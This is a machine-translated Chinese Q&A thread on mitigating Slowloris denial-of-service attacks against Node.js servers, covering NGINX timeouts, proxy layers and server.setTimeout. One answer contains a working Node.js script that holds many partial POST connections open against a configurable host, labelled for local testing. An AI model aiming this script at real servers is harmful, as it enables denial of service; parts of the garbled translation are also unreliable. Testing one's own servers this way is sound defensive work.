如何缓解Node.js中的Slowloris?

时间:2018-03-27 08:41:05

标签: javascript c node.js security ddos

更新2018年第15号星期五:

我设法说服Node.js核心团队为此设置CVE。

修复 - 新的默认值和可能的新API - 将在1或2周内出现。


<小时/>


缓解意味着安静的攻击。

每个人都知道Slowloris:

HTTP HeaderPOST Data个字符会缓慢传输以阻止socket

缩放,使DoS攻击变得更容易。


在NGINX中,缓解是内置的:

  

关闭慢速连接

  您可以关闭正在写入的连接   数据太少,这可能代表了一种保留的尝试   连接打开尽可能长(从而减少服务器的连接   能够接受新的联系)。 Slowloris就是一个例子   攻击类型。 client_body_timeout指令控制多长时间   NGINX在客户端机构的写入之间等待   client_header_timeout指令控制NGINX在两者之间等待的时间   写客户端标题。两个指令的默认值为60   秒。此示例将NGINX配置为等待不超过5秒   在客户端写入标题或正文之间。

https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/

由于headerHTTP Server的{​​{1}}没有内置工作方式。

我提出了问题,如果我可以将Node.jsnet结合起来以减轻HTTP Server


Slowloris的情况下destroy connection的想法是这样的。

Slowloris


我可以看到的问题是,两个服务都必须在http.createServer(function(req, res) { var timeout; net.on('data', function(chunk) { clearTimeout(timeout); timeout = setTimeout(function() { req.connection.destroy(); }, 100); }; }; 上的Socket上进行收听。

不 - 不知道如何解决这个问题。



可以将请求和回复从Port 80 and 443转移到net并返回。

但这需要2个HTTP-Server来传入1条消息。

2个sockets用于1个传出消息。

从高可用性服务器的角度来看,这是不可行的。

我不知道。

世界可以做些什么来消除这一祸害?



CVE for Apache Tomcat.



这是一个严重的安全威胁。

我认为这需要在socketsC基础上解决。

我无法编写这些真正的程序员语言。

但是,如果有人在Github推动这一点,我们所有人都会得到帮助。

因为那里的社区曾经删除了关于缓解Slowloris的帖子。

3 个答案:

答案 0 :(得分:4)

我认为您对此漏洞采取了错误的方法。

这不涉及使用许多IP的DDOS attack(分布式拒绝服务),以及何时需要继续提供与攻击中涉及的计算机位于同一防火墙内的某些计算机。

DDOS中使用的机器通常不是已经被接管的真实机器(可能是虚拟化的或者使用软件来从不同的IP中进行)。

当针对大型目标的DDOS启动时,每IP限制可能会禁止来自同一防火墙LAN的所有计算机。

要在DDOS面前继续提供服务,您确实需要根据请求本身的常见元素阻止请求,而不仅仅是IP。 security.se可能是关于如何做到这一点的具体建议的最佳论坛。

不幸的是,与XSRF不同,DOS攻击不需要来自真正的浏览器,因此任何不包含紧密拥有和不可篡改的nonce的头文件都可能被欺骗。

建议:为防止出现此问题,您必须拥有针对DDos攻击和大规模拒绝服务的良好防火墙策略。

BUT!如果您想使用node.js测试拒绝服务,可以使用此代码(仅用于测试目的,而不是用于生产环境)

var net = require('net');

var maxConnections  = 30;
var connections     = [];

var host    = "127.0.0.1";
var port    = 80;

function Connection(h, p)
{
    this.state  = 'active';
    this.t      = Date.now();

    this.client = net.connect({port:p, host:h}, () => {
        process.stdout.write("Connected, Sending... ");

        this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
            "Content-Type: application/x-www-form-urlenconded\r\n" +
            "Content-Length: 385\r\n\r\nvx=321&d1=fire&l");

        process.stdout.write("Written.\n");
    });
    this.client.on('data', (data) => {
        console.log("\t-Received "+data.length+" bytes...");
        this.client.end();
    });
    this.client.on('end', () => {
        var d = Date.now() - this.t;
        this.state = 'ended';

        console.log("\t-Disconnected (duration: " +
            (d/1000).toFixed(3) +
            " seconds, remaining open: " +
            connections.length +
            ").");
    });
    this.client.on('error', () => {
        this.state = 'error';
    });

    connections.push(this);
}

setInterval(() => {
    var notify = false;

    // Add another connection if we haven't reached
    // our max:
    if(connections.length < maxConnections)
    {
        new Connection(host, port);
        notify = true;
    }

    // Remove dead connections
    connections = connections.filter(function(v) {
        return v.state=='active';
    });

    if(notify)
    {
        console.log("Active connections: " + connections.length +
            " / " + maxConnections);
    }
}, 500);

答案 1 :(得分:3)

缓解此问题以及许多其他问题的最佳方法是在node.js应用程序和Internet 之间放置代理层(如nginx或防火墙)。< / p>

如果您熟悉许多设计和编程背后的范例,例如OOP,您可能会认识到“分离关注点”背后的重要性。

在设计基础架构或客户端访问数据的方式时,同样的范例也适用。

应用程序应该只有一个问题:处理数据操作(CRUD)。这本质上包括与维护数据完整性(SQL注入威胁,脚本注入威胁等)相关的任何问题。

其他问题应放在单独的图层中,例如nginx代理图层。

例如,nginx通常会关注将流量路由到您的应用程序/负载平衡。这将包括与网络连接相关的安全问题,例如SSL / TLS协商,慢速客户端等。

可以实施额外的防火墙(读取:应该)以处理其他安全问题。

您的问题的解决方案很简单,不要将node.js应用程序直接暴露给互联网,使用代理层 - 它存在的原因

答案 2 :(得分:0)

这很容易。

var http = require('http');

var server = http.createServer(function(req,res) {
    res.send('Now.')
})

server.setTimeout(10);

server.listen(80, '127.0.0.1');


  

server.setTimeout([msecs][, callback])

  默认情况下,服务器的超时值为2分钟,套接字为   如果他们超时,他们会自动销毁。

https://nodejs.org/api/http.html#http_server_settimeout_msecs_callback


经过测试。

var net = require('net');

var client = new net.Socket();
client.connect(80, '127.0.0.1', function() {
    setInterval(function() {   
        client.write('Hello World.');
    },10000)
});



这只是第二个最佳解决方案。

由于合法关系也被终止。